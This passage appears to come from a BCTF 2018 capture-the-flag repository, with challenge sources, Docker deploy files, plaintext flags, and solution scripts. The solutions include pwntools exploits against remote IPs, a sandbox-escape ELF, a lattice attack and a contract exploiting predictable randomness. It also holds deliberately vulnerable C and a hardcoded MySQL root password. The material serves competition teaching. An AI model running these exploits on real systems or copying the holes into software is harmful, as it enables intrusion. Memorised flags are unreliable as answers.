/Th3_MosT_S3cR3T_fLag 7 | sudo chmod 444 /Th3_MosT_S3cR3T_fLag 8 | sudo chown root:root /tmp/selenium 9 | sudo chmod 620 /tmp/selenium 10 | 11 | sudo sh -c "echo '172.20.0.3 ctf.momomoxiaoxi.com'>>/etc/hosts" 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/admin/m0st_Secret.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /crypto/guess_number/wp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | import os 4 | # p = process('python -u ../deploy/src/main.py', shell=True) 5 | p = remote('47.91.109.4', 9999) 6 | for i in range(5): 7 | data = p.recvuntil('Input your guess number: ', drop=True) 8 | data = data.strip() 9 | open('data', 'w').write(data) 10 | cmd = os.popen('sage exp.sage') 11 | ans = cmd.readline().strip() 12 | print(i, ans) 13 | p.sendline(ans) 14 | print p.recv() 15 | p.interactive() 16 | -------------------------------------------------------------------------------- /crypto/guess_number/readme.md: -------------------------------------------------------------------------------- 1 | # Title 2 | 3 | Guess Number 4 | 5 | # Description 6 | 7 | nc ip 13337 8 | 9 | # Category 10 | 11 | Crypto 12 | 13 | # deploy 14 | 15 | ```shell 16 | docker build -t guessnumber . 17 | docker run --name="guessnumber" -d -p 1337:1337 guessnumber 18 | ``` 19 | 20 | # flag 21 | 22 | BCTF{HNP_Pr0b13m_1s_So_3asy_Every0n3_C4n_Guess_1t!} 23 | 24 | # WP 25 | 26 | This is a HNP Problem, you can check "Mathematics of Public Key Cryptography" for more details. 27 | 28 | -------------------------------------------------------------------------------- /blockchain/Fake3D/src/WinnerList.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | contract WinnerList{ 4 | address owner; 5 | struct Richman{ 6 | address who; 7 | uint balance; 8 | } 9 | 10 | function note(address _addr, uint _value) public{ 11 | Richman rm; 12 | rm.who = _addr; 13 | rm.balance = _value; 14 | if(bytes20(tx.origin)[18] != bytes1(0xb1) && bytes20(tx.origin)[19] != bytes1(0x43)){ 15 | revert(); 16 | } 17 | } 18 | 19 | } -------------------------------------------------------------------------------- /crypto/guess_polynomial/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | COPY ./start.sh /start.sh 4 | COPY /src /guess_polynomial 5 | 6 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 7 | apt-get update && apt-get -y dist-upgrade && \ 8 | apt-get install -y python socat && \ 9 | apt install -y python-pip libgmp-dev libmpfr-dev libmpc-dev &&\ 10 | pip install gmpy2 &&\ 11 | chmod 755 /start.sh 12 | 13 | CMD ["/start.sh"] 14 | 15 | EXPOSE 1337 16 | -------------------------------------------------------------------------------- /crypto/guess_number/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | COPY ./start.sh /start.sh 4 | COPY /src /guess_number 5 | 6 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 7 | apt-get update && apt-get -y dist-upgrade && \ 8 | apt-get install -y python socat && \ 9 | apt install -y python-pip libgmp-dev libmpfr-dev libmpc-dev &&\ 10 | pip install gmpy2 &&\ 11 | chmod 755 /start.sh 12 | 13 | CMD ["/start.sh"] 14 | 15 | EXPOSE 1337 16 | -------------------------------------------------------------------------------- /crypto/guess_number/wp/exp.sage: -------------------------------------------------------------------------------- 1 | import ast 2 | q = 1461501637330902918203684832716283019655932542983L 3 | d = 22 4 | l = 9 5 | bound = q / (2 ** (l+1)) 6 | 7 | data = open('data').read() 8 | data=data.split('\n') 9 | t,u = map(ast.literal_eval,data) 10 | 11 | m = [] 12 | for i in range(d): 13 | tmp = [0] * (d+2) 14 | tmp[i] = q 15 | m.append(tmp) 16 | m.append(t+[1/(2**(l+1)), 0]) 17 | m.append(u+[0, bound]) 18 | 19 | ma = matrix(QQ, m) 20 | mb = ma.LLL() 21 | 22 | num = -mb[1][-2] * (2**(l+1)) 23 | if num<0: 24 | num = num+q 25 | print num 26 | -------------------------------------------------------------------------------- /crypto/guess_polynomial/readme.md: -------------------------------------------------------------------------------- 1 | # Title 2 | 3 | Guess Polynomial 4 | 5 | ## Description 6 | 7 | nc ip 1337 8 | 9 | # Category 10 | 11 | Crypto 12 | 13 | # deploy 14 | 15 | ```shell 16 | cd deploy 17 | docker build -t guesspoly . 18 | docker run --name="guesspoly" -d -p 1337:1337 guesspoly 19 | ``` 20 | 21 | # flag 22 | 23 | BCTF{One_T1m3_10_Gue33_Coeff_1s_0K!} 24 | 25 | # WP 26 | 27 | This is a challenge about [positional notation](https://en.wikipedia.org/wiki/Positional_notation), there is only one representation for base-K when all the coefficients are smaller than K. So we just need to input big number. -------------------------------------------------------------------------------- /reverse/easypt/src/pt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int init_flag(char **flag) 8 | { 9 | int fd; 10 | fd=open("./flag",O_RDONLY); 11 | lseek(fd, 0, SEEK_END); 12 | int size = lseek(fd, 0, SEEK_CUR); 13 | *flag = malloc(size+10); 14 | lseek(fd, 0, SEEK_SET); 15 | read(fd,*flag,size); 16 | close(fd); 17 | return 0; 18 | } 19 | int main(){ 20 | char *flag; 21 | int flag_len,i,j; 22 | init_flag(&flag); 23 | flag_len=strlen(flag); 24 | for(i=0;i> (k + 1) 8 | ui = random.randint(x - delta, x + delta) 9 | return ui 10 | 11 | 12 | def main(): 13 | p = gmpy2.next_prime(2**160) 14 | for _ in range(5): 15 | alpha = random.randint(1, p - 1) 16 | # print(alpha) 17 | t = [] 18 | u = [] 19 | k = 10 20 | for i in range(22): 21 | t.append(random.randint(1, p - 1)) 22 | u.append(msb(k, alpha * t[i] % p, p)) 23 | print(str(t)) 24 | print(str(u)) 25 | guess = raw_input("Input your guess number: ") 26 | guess = int(guess) 27 | if guess != alpha: 28 | exit(0) 29 | 30 | 31 | if __name__ == "__main__": 32 | main() 33 | print(FLAG) 34 | -------------------------------------------------------------------------------- /misc/easysandbox/solution/solve.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #undef _POSIX_SOURCE 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | typedef int (*main_t)(int, char **, char **); 14 | #ifndef __unbounded 15 | # define __unbounded 16 | #endif 17 | 18 | 19 | int __libc_start_main( 20 | main_t main, 21 | int argc, 22 | char *__unbounded *__unbounded ubp_av, 23 | ElfW(auxv_t) *__unbounded auxvec, 24 | __typeof (main) init, 25 | void (*fini) (void), 26 | void (*rtld_fini) (void), 27 | void *__unbounded stack_end) 28 | { 29 | return main(0,0,0); 30 | } 31 | 32 | int main() { 33 | char buf[50]={0}; 34 | int fd=open("./flag",O_RDONLY); 35 | read(fd,buf,50); 36 | write(1,buf,50); 37 | exit(0); 38 | } 39 | -------------------------------------------------------------------------------- /pwn/easywasm/deploy/README.md: -------------------------------------------------------------------------------- 1 | # ctf_xinetd 2 | 3 | > A docker repository for deploying CTF challenges 4 | 5 | ## Configuration 6 | 7 | Put files to floder `bin`. They'll be copied to /home/ctf. **Update the flag** at the same time. 8 | 9 | Edit `ctf.xinetd`. replace `./helloworld` to your command. 10 | 11 | You can also edit `Dockerfile, ctf.xinetd, start.sh` to custom your environment. 12 | 13 | ## Build 14 | 15 | ```bash 16 | docker build -t "helloworld" . 17 | ``` 18 | 19 | DO NOT use *bin* as challenge's name 20 | 21 | ## Run 22 | 23 | ```bash 24 | docker run -d -p "0.0.0.0:pub_port:9999" -h "helloworld" --name="helloworld" helloworld 25 | ``` 26 | 27 | `pub_port` is the port you want to expose to the public network. 28 | 29 | ## Capture traffic 30 | 31 | If you want to capture challenge traffic, just run `tcpdump` on the host. Here is an example. 32 | 33 | ```bash 34 | tcpdump -w helloworld.pcap -i eth0 port pub_port 35 | ``` 36 | -------------------------------------------------------------------------------- /misc/easysandbox/deploy/README.md: -------------------------------------------------------------------------------- 1 | # ctf_xinetd 2 | 3 | > A docker repository for deploying CTF challenges 4 | 5 | ## Configuration 6 | 7 | Put files to floder `bin`. They'll be copied to /home/ctf. **Update the flag** at the same time. 8 | 9 | Edit `ctf.xinetd`. replace `./helloworld` to your command. 10 | 11 | You can also edit `Dockerfile, ctf.xinetd, start.sh` to custom your environment. 12 | 13 | ## Build 14 | 15 | ```bash 16 | docker build -t "helloworld" . 17 | ``` 18 | 19 | DO NOT use *bin* as challenge's name 20 | 21 | ## Run 22 | 23 | ```bash 24 | docker run -d -p "0.0.0.0:pub_port:9999" -h "helloworld" --name="helloworld" helloworld 25 | ``` 26 | 27 | `pub_port` is the port you want to expose to the public network. 28 | 29 | ## Capture traffic 30 | 31 | If you want to capture challenge traffic, just run `tcpdump` on the host. Here is an example. 32 | 33 | ```bash 34 | tcpdump -w helloworld.pcap -i eth0 port pub_port 35 | ``` 36 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | web: 4 | image: moxiaoxi/bctf_seafaring 5 | container_name: seafaring 6 | ports: 7 | - 9999:9999 8 | volumes: 9 | - ./moxiaoxi:/home/moxiaoxi 10 | - ./www:/var/www/html/ 11 | links: 12 | - bctf-selenium-firefox 13 | depends_on: 14 | - bctf-selenium-firefox 15 | networks: 16 | static-network: 17 | ipv4_address: 172.20.0.3 18 | command: /home/moxiaoxi/start.sh 19 | 20 | bctf-selenium-firefox: 21 | image: moxiaoxi/bctf-standalone-firefox 22 | container_name: selenium-firefox 23 | networks: 24 | static-network: 25 | ipv4_address: 172.20.0.2 26 | # fix bug for aliyun 27 | # volumes: 28 | # - selenium:/home/seluser/ 29 | # ports: 30 | # - 4444:4444 31 | 32 | networks: 33 | static-network: 34 | ipam: 35 | config: 36 | - subnet: 172.20.0.0/16 37 | -------------------------------------------------------------------------------- /crypto/guess_polynomial/deploy/src/main.py: -------------------------------------------------------------------------------- 1 | import random 2 | import gmpy2 3 | from flag import FLAG 4 | 5 | 6 | def calc(coeff, x): 7 | num = coeff[0] 8 | for i in range(1, len(coeff)): 9 | num = num * x + coeff[i] 10 | return num 11 | 12 | 13 | def main(): 14 | for i in range(10): 15 | n = random.randint(100, 120) 16 | coeff = [] 17 | for j in range(n): 18 | coeff.append(random.randint(0, gmpy2.next_prime(1 << n))) 19 | x = raw_input("Please input your number to guess the coeff: ") 20 | x = int(x) 21 | num = calc(coeff, x) 22 | print('This is the sum: ' + str(num)) 23 | guess = raw_input("It is your time to guess the coeff!") 24 | guess = guess.strip().split() 25 | guess = map(int, guess) 26 | for j in range(n): 27 | if guess[j] != coeff[j]: 28 | print("Sorry for wrong guess!") 29 | exit(0) 30 | print(FLAG) 31 | 32 | 33 | if __name__ == "__main__": 34 | main() 35 | -------------------------------------------------------------------------------- /crypto/guess_number/wp/exp.sage.py: -------------------------------------------------------------------------------- 1 | 2 | # This file was *autogenerated* from the file exp.sage 3 | from sage.all_cmdline import * # import sage library 4 | 5 | _sage_const_22 = Integer(22); _sage_const_2 = Integer(2); _sage_const_9 = Integer(9); _sage_const_0 = Integer(0); _sage_const_1 = Integer(1) 6 | import ast 7 | q = 1461501637330902918203684832716283019655932542983L 8 | d = _sage_const_22 9 | l = _sage_const_9 10 | bound = q / (_sage_const_2 ** (l+_sage_const_1 )) 11 | 12 | data = open('data').read() 13 | data=data.split('\n') 14 | t,u = map(ast.literal_eval,data) 15 | 16 | m = [] 17 | for i in range(d): 18 | tmp = [_sage_const_0 ] * (d+_sage_const_2 ) 19 | tmp[i] = q 20 | m.append(tmp) 21 | m.append(t+[_sage_const_1 /(_sage_const_2 **(l+_sage_const_1 )), _sage_const_0 ]) 22 | m.append(u+[_sage_const_0 , bound]) 23 | 24 | ma = matrix(QQ, m) 25 | mb = ma.LLL() 26 | 27 | num = -mb[_sage_const_1 ][-_sage_const_2 ] * (_sage_const_2 **(l+_sage_const_1 )) 28 | if num<_sage_const_0 : 29 | num = num+q 30 | print num 31 | 32 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/docker_files/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 'Starting apache2..' 3 | service apache2 stop 2>/dev/null 4 | service apache2 start 2>/dev/null 5 | echo 'Starting mysql..' 6 | service mysql stop 2>/dev/null 7 | service mysql start 2>/dev/null 8 | echo 'Init database..' 9 | mysql --user=root --password="Bctf2o18123$%^" < /home/moxiaoxi/bctf2018.sql 10 | echo 'Starting checker..' 11 | nohup python /home/moxiaoxi/checker/checker.py > /home/moxiaoxi/checker/checker.log1 2>/home/moxiaoxi/checker/checker.log1 & 12 | 13 | echo 'Check authority...' 14 | find /home/moxiaoxi/ -type d -writable | xargs chmod 755 15 | find /home/moxiaoxi/ -type f -writable | xargs chmod 644 16 | find /var/www/html/ -type f -writable | xargs chmod 644 17 | find /var/www/html/ -type d -writable | xargs chmod 755 18 | chmod 620 /home/moxiaoxi/checker/checker.log 19 | chmod 620 /home/moxiaoxi/checker/ghostdriver.log 20 | chmod 620 /home/moxiaoxi/bctf2018.sql 21 | 22 | trap 'printf "\nBye!"; exit;' SIGINT SIGTERM 23 | printf '\nEntering loop. Press Ctrl+C for exit!\n\n...' 24 | while : 25 | do 26 | sleep 1 27 | done 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /misc/easysandbox/solution/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from random import Random 3 | import base64 4 | 5 | 6 | def random_str(randomlength=8): 7 | str = '' 8 | chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' 9 | length = len(chars) - 1 10 | random = Random() 11 | for i in range(randomlength): 12 | str += chars[random.randint(0, length)] 13 | return str 14 | io = remote("39.105.151.182", 9999) 15 | io.recvuntil("key+\"") 16 | salt = io.recvuntil("\"")[:-1] 17 | io.recvuntil("==") 18 | 19 | result = io.recvuntil("\n")[:-1] 20 | print salt, result 21 | 22 | i = 0 23 | key = "" 24 | while True: 25 | m2 = hashlib.md5() 26 | key = random_str() + salt 27 | m2.update(key) 28 | md5str = m2.hexdigest() 29 | i = i + 1 30 | if (i % 10000 == 0): 31 | print md5str[0:4], result 32 | if md5str[0:4] == result: 33 | print key 34 | break 35 | 36 | fd = open("./solve", "r") 37 | ELF = fd.read() 38 | ELF = base64.b64encode(ELF) 39 | fd.close() 40 | print io.recvuntil("Give me the key") 41 | io.sendline(key[:8]) 42 | print io.recvuntil("escape the sandbox!") 43 | io.sendline(ELF) 44 | io.interactive() 45 | -------------------------------------------------------------------------------- /pwn/easywasm/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 curl 6 | RUN apt-get install -y nodejs npm netcat 7 | RUN apt-get install -y npm 8 | 9 | RUN useradd -m ctf 10 | 11 | WORKDIR /home/ctf 12 | RUN cd /home/ctf 13 | RUN npm install express 14 | 15 | RUN cp -R /lib* /home/ctf && \ 16 | cp -R /usr/lib* /home/ctf 17 | 18 | RUN mkdir /home/ctf/dev && \ 19 | mknod /home/ctf/dev/null c 1 3 && \ 20 | mknod /home/ctf/dev/zero c 1 5 && \ 21 | mknod /home/ctf/dev/random c 1 8 && \ 22 | mknod /home/ctf/dev/urandom c 1 9 && \ 23 | chmod 666 /home/ctf/dev/* 24 | 25 | RUN mkdir /home/ctf/bin && \ 26 | cp /bin/sh /home/ctf/bin && \ 27 | cp /bin/ls /home/ctf/bin && \ 28 | cp /bin/cat /home/ctf/bin && \ 29 | cp /usr/bin/node /home/ctf/bin &&\ 30 | cp /bin/nc.traditional /home/ctf/bin/nc &&\ 31 | cp -r /etc /home/ctf/etc 32 | COPY ./start.sh /start.sh 33 | 34 | RUN chmod +x /start.sh 35 | 36 | COPY ./bin/ /home/ctf/ 37 | RUN chown -R root:ctf /home/ctf && \ 38 | chmod -R 750 /home/ctf && \ 39 | chmod 740 /home/ctf/flag 40 | 41 | CMD ["/start.sh"] 42 | 43 | EXPOSE 23333 44 | 45 | #docker run -p "0.0.0.0:23333:23333" -d -t wasm -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/footer.php: -------------------------------------------------------------------------------- 1 | 2 | 33 | 34 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/docker_files/backup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # web 路径 3 | webpath=/var/www/html/ 4 | # web 备份路径 5 | webbackdir=/tmp/backupweb/ 6 | # sql备份路径 7 | mysqlbackdir=/tmp/backupsql/ 8 | # ps back 9 | psbackup=/tmp/othersbackup/ 10 | # apache log 11 | apache_log=/var/log/apache2/access.log 12 | # checker log 13 | checkerlog1=/home/moxiaoxi/checker/checker.log 14 | checkerlog2=/home/moxiaoxi/checker/ghostdriver.log 15 | 16 | # 用户名和密码 17 | username=root 18 | password=Bctf2o18123$%^ 19 | 20 | #要备份的数据库数组 21 | databases=(bctf2018) 22 | 23 | # 时间 24 | time=`date +%d_%H_%M` 25 | 26 | if [ ! -d $webbackdir ]; then 27 | mkdir $webbackdir 28 | fi 29 | 30 | if [ ! -d $mysqlbackdir ]; then 31 | mkdir $mysqlbackdir 32 | fi 33 | 34 | if [ ! -d $psbackup ]; then 35 | mkdir $psbackup 36 | fi 37 | 38 | 39 | # 备份web 40 | cd $webpath 41 | tar -zcvf $webbackdir$time.tar.gz ./ 42 | echo 'back web'$webbackdir$time.tar.gz 43 | 44 | # 备份数据库 45 | for database in ${databases[@]} 46 | do 47 | mysqldump -u$username -p$password --single-transaction $database > $mysqlbackdir$database-$time.sql #单个 48 | echo 'backup sql'$mysqlbackdir$database-$time.sql 49 | done 50 | 51 | cd $psbackup 52 | ps -ef|more > $psbackup$time.ps.txt 53 | cp $apache_log $psbackup$time.apache2.log 54 | cp $checkerlog1 $psbackup$time.checker.log 55 | cp $checkerlog2 $psbackup$time.ghostdriver.log 56 | echo 'backup others' 57 | 58 | # backup selenium-firefox -------------------------------------------------------------------------------- /blockchain/EOSGame/wp/EOSGame-exp.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | 4 | contract EOSGame{ 5 | 6 | function initFund() public{} 7 | 8 | function bet(uint256 chip) internal {} 9 | 10 | function smallBlind() public {} 11 | 12 | function bigBlind() public {} 13 | 14 | function eosBlanceOf() public view returns(uint256) {} 15 | 16 | function CaptureTheFlag(string b64email) public{} 17 | } 18 | 19 | 20 | contract bctf1Attack{ 21 | uint bet_count = 0; 22 | EOSGame eg; 23 | uint256 MOD_NUM = 20; 24 | event ATTACK(uint shark_a,uint lucky_a); 25 | 26 | function setTarget(address _addr) public{ 27 | eg = EOSGame(_addr); 28 | } 29 | 30 | function attack(uint _bet, uint _times) public{ 31 | bet_count = _bet; 32 | 33 | uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp))); 34 | uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed))); 35 | uint256 shark = seed_hash % MOD_NUM; 36 | 37 | uint i; 38 | 39 | for(i=0;i<_times;i++){ 40 | bet_count+=1; 41 | uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count))); 42 | uint256 lucky = lucky_hash % MOD_NUM; 43 | emit ATTACK(shark,lucky); 44 | if (shark == lucky){ 45 | eg.bigBlind(); 46 | } 47 | else{ 48 | eg.smallBlind(); 49 | } 50 | } 51 | 52 | 53 | } 54 | } -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/js/sb-admin-2.js: -------------------------------------------------------------------------------- 1 | $(function() { 2 | $('#side-menu').metisMenu(); 3 | }); 4 | 5 | //Loads the correct sidebar on window load, 6 | //collapses the sidebar on window resize. 7 | // Sets the min-height of #page-wrapper to window size 8 | $(function() { 9 | $(window).bind("load resize", function() { 10 | var topOffset = 50; 11 | var width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width; 12 | if (width < 768) { 13 | $('div.navbar-collapse').addClass('collapse'); 14 | topOffset = 100; // 2-row-menu 15 | } else { 16 | $('div.navbar-collapse').removeClass('collapse'); 17 | } 18 | 19 | var height = ((this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height) - 1; 20 | height = height - topOffset; 21 | if (height < 1) height = 1; 22 | if (height > topOffset) { 23 | $("#page-wrapper").css("min-height", (height) + "px"); 24 | } 25 | }); 26 | 27 | var url = window.location; 28 | // var element = $('ul.nav a').filter(function() { 29 | // return this.href == url; 30 | // }).addClass('active').parent().parent().addClass('in').parent(); 31 | var element = $('ul.nav a').filter(function() { 32 | return this.href == url; 33 | }).addClass('active').parent(); 34 | 35 | while (true) { 36 | if (element.is('li')) { 37 | element = element.parent().addClass('in').parent(); 38 | } else { 39 | break; 40 | } 41 | } 42 | }); 43 | -------------------------------------------------------------------------------- /misc/easysandbox/src/config.h: -------------------------------------------------------------------------------- 1 | /* config.h.in. Generated from configure.ac by autoheader. */ 2 | 3 | /* Define to 1 if you have the header file. */ 4 | #undef HAVE_INTTYPES_H 5 | 6 | /* Define to 1 if you have the header file. */ 7 | #undef HAVE_LINUX_SECCOMP_H 8 | 9 | /* Define to 1 if you have the header file. */ 10 | #undef HAVE_MEMORY_H 11 | 12 | /* Define to 1 if you have the header file. */ 13 | #undef HAVE_STDINT_H 14 | 15 | /* Define to 1 if you have the header file. */ 16 | #undef HAVE_STDLIB_H 17 | 18 | /* Define to 1 if you have the header file. */ 19 | #undef HAVE_STRINGS_H 20 | 21 | /* Define to 1 if you have the header file. */ 22 | #undef HAVE_STRING_H 23 | 24 | /* Define to 1 if you have the header file. */ 25 | #undef HAVE_SYS_STAT_H 26 | 27 | /* Define to 1 if you have the header file. */ 28 | #undef HAVE_SYS_TYPES_H 29 | 30 | /* Define to 1 if you have the header file. */ 31 | #undef HAVE_UNISTD_H 32 | 33 | /* Define to the address where bug reports for this package should be sent. */ 34 | #undef PACKAGE_BUGREPORT 35 | 36 | /* Define to the full name of this package. */ 37 | #undef PACKAGE_NAME 38 | 39 | /* Define to the full name and version of this package. */ 40 | #undef PACKAGE_STRING 41 | 42 | /* Define to the one symbol short name of this package. */ 43 | #undef PACKAGE_TARNAME 44 | 45 | /* Define to the home page for this package. */ 46 | #undef PACKAGE_URL 47 | 48 | /* Define to the version of this package. */ 49 | #undef PACKAGE_VERSION 50 | 51 | /* Define to 1 if you have the ANSI C header files. */ 52 | #undef STDC_HEADERS 53 | -------------------------------------------------------------------------------- /reverse/easypt2/src/easypt2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | char *flag=NULL; 9 | int check_cur=0; 10 | unsigned int *rnd; 11 | int *check_idxs; 12 | int load_flag(){ 13 | int fd=open("./flag",O_RDONLY); 14 | if(fd<0){ 15 | perror("open@load_flag"); 16 | exit(EXIT_FAILURE); 17 | } 18 | lseek(fd, 0, SEEK_END); 19 | int size = lseek(fd, 0, SEEK_CUR); 20 | flag = malloc(size); 21 | memset(flag,0,size); 22 | lseek(fd, 0, SEEK_SET); 23 | read(fd,flag,size); 24 | close(fd); 25 | check_idxs = malloc(size*sizeof(int)); 26 | for(int i=0;i 1048576): 64 | print("[-]ELF too big!") 65 | return 66 | elfname = tofile(ELF) 67 | if elfname == "": 68 | print("[-]base64 please!") 69 | sys.stdout.flush() 70 | return 71 | os.system("chmod +x %s" % elfname) 72 | io = process(elfname, env=env) 73 | io.interactive() 74 | 75 | 76 | main() 77 | -------------------------------------------------------------------------------- /misc/easysandbox/attachment/server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import random 4 | import time 5 | import base64 6 | import string 7 | import hashlib 8 | from pwn import * 9 | os.chdir("/home/ctf") 10 | env = {"LD_PRELOAD": os.path.join(os.getcwd(), "scf.so")} 11 | SALT_LEN = 10 12 | HEX_LEN = 4 13 | 14 | 15 | def base_str(): 16 | return "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 17 | 18 | 19 | def random_string(length): 20 | string = [random.choice(base_str()) for i in range(length)] 21 | return ("".join(string)) 22 | 23 | 24 | def tofile(data): 25 | try: 26 | data = base64.b64decode(data) 27 | except: 28 | return "" 29 | cur_time = str(time.time()) 30 | filename = "./backup/" + cur_time + ".elf" 31 | fd = open(filename, "wb") 32 | fd.write(data) 33 | fd.close() 34 | filename = "./" + cur_time + ".elf" 35 | fd = open(filename, "wb") 36 | fd.write(data) 37 | fd.close() 38 | return filename 39 | 40 | 41 | def main(): 42 | salt = random_string(SALT_LEN) 43 | tmpvalue = random_string(20) + salt 44 | md5 = hashlib.md5() 45 | md5.update(tmpvalue.encode("utf-8")) 46 | submd5 = md5.hexdigest()[:4] 47 | print("[*]Proof of work:") 48 | print("\tMD5(key+\"%s\")[:4]==%s" % (salt, submd5)) 49 | print("[+]Give me the key:") 50 | sys.stdout.flush() 51 | value = sys.stdin.readline()[:-1] 52 | value = value + salt 53 | md5 = hashlib.md5() 54 | md5.update(value.encode("utf-8")) 55 | md5value = md5.hexdigest() 56 | if (md5value[:HEX_LEN] != submd5): 57 | print("[-]Access Failed") 58 | return 59 | print("[+]escape the sandbox!") 60 | sys.stdout.flush() 61 | ELF = sys.stdin.readline()[:-1] 62 | print(len(ELF)) 63 | if (len(ELF) > 1048576): 64 | print("[-]ELF too big!") 65 | return 66 | elfname = tofile(ELF) 67 | if elfname == "": 68 | print("[-]base64 please!") 69 | sys.stdout.flush() 70 | return 71 | os.system("chmod +x %s" % elfname) 72 | io = process(elfname, env=env) 73 | io.interactive() 74 | 75 | 76 | main() 77 | -------------------------------------------------------------------------------- /misc/easysandbox/deploy/bin/server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import random 4 | import time 5 | import base64 6 | import string 7 | import hashlib 8 | from pwn import * 9 | os.chdir("/home/ctf") 10 | env = {"LD_PRELOAD": os.path.join(os.getcwd(), "scf.so")} 11 | SALT_LEN = 10 12 | HEX_LEN = 4 13 | 14 | 15 | def base_str(): 16 | return "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 17 | 18 | 19 | def random_string(length): 20 | string = [random.choice(base_str()) for i in range(length)] 21 | return ("".join(string)) 22 | 23 | 24 | def tofile(data): 25 | try: 26 | data = base64.b64decode(data) 27 | except: 28 | return "" 29 | cur_time = str(time.time()) 30 | filename = "./backup/" + cur_time + ".elf" 31 | fd = open(filename, "wb") 32 | fd.write(data) 33 | fd.close() 34 | filename = "./" + cur_time + ".elf" 35 | fd = open(filename, "wb") 36 | fd.write(data) 37 | fd.close() 38 | return filename 39 | 40 | 41 | def main(): 42 | salt = random_string(SALT_LEN) 43 | tmpvalue = random_string(20) + salt 44 | md5 = hashlib.md5() 45 | md5.update(tmpvalue.encode("utf-8")) 46 | submd5 = md5.hexdigest()[:4] 47 | print("[*]Proof of work:") 48 | print("\tMD5(key+\"%s\")[:4]==%s" % (salt, submd5)) 49 | print("[+]Give me the key:") 50 | sys.stdout.flush() 51 | value = sys.stdin.readline()[:-1] 52 | value = value + salt 53 | md5 = hashlib.md5() 54 | md5.update(value.encode("utf-8")) 55 | md5value = md5.hexdigest() 56 | if (md5value[:HEX_LEN] != submd5): 57 | print("[-]Access Failed") 58 | return 59 | print("[+]escape the sandbox!") 60 | sys.stdout.flush() 61 | ELF = sys.stdin.readline()[:-1] 62 | print(len(ELF)) 63 | if (len(ELF) > 1048576): 64 | print("[-]ELF too big!") 65 | return 66 | elfname = tofile(ELF) 67 | if elfname == "": 68 | print("[-]base64 please!") 69 | sys.stdout.flush() 70 | return 71 | os.system("chmod +x %s" % elfname) 72 | io = process(elfname, env=env) 73 | io.interactive() 74 | 75 | 76 | main() 77 | -------------------------------------------------------------------------------- /pwn/easywasm/src/easywasm.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | struct person{ 12 | int id; 13 | int inuse; 14 | char name[60]; 15 | void (*intro)(char*); 16 | }; 17 | struct person person_list[1000]; 18 | int person_count=0; 19 | EMSCRIPTEN_KEEPALIVE 20 | void tutor_hello(char *name){ 21 | printf("I am a tutor, My name is %s\n",name); 22 | return 0; 23 | } 24 | 25 | void student_hello(char *name){ 26 | printf("I am a student, My name is %s\n", name); 27 | return 0; 28 | 29 | } 30 | EMSCRIPTEN_KEEPALIVE 31 | int add_person(char *name,int istutor){ 32 | 33 | int i; 34 | if(person_count>=1000){ 35 | puts("too much person"); 36 | return -1; 37 | } 38 | for(i=0;i<1000;i++){ 39 | if(!person_list[i].inuse){ 40 | person_list[i].id=i; 41 | person_list[i].inuse=1; 42 | break; 43 | } 44 | } 45 | strcpy(person_list[i].name,name); 46 | person_list[i].intro=emscripten_run_script; 47 | if(istutor) 48 | person_list[i].intro=tutor_hello; 49 | else 50 | person_list[i].intro=student_hello; 51 | 52 | 53 | return i; 54 | } 55 | EMSCRIPTEN_KEEPALIVE 56 | void init(){ 57 | setbuf(stdin,0); 58 | setbuf(stdout,0); 59 | person_count=0; 60 | for(int i=0;i<1000;i++) 61 | person_list[i].inuse=0; 62 | } 63 | EMSCRIPTEN_KEEPALIVE 64 | int delete_person(int 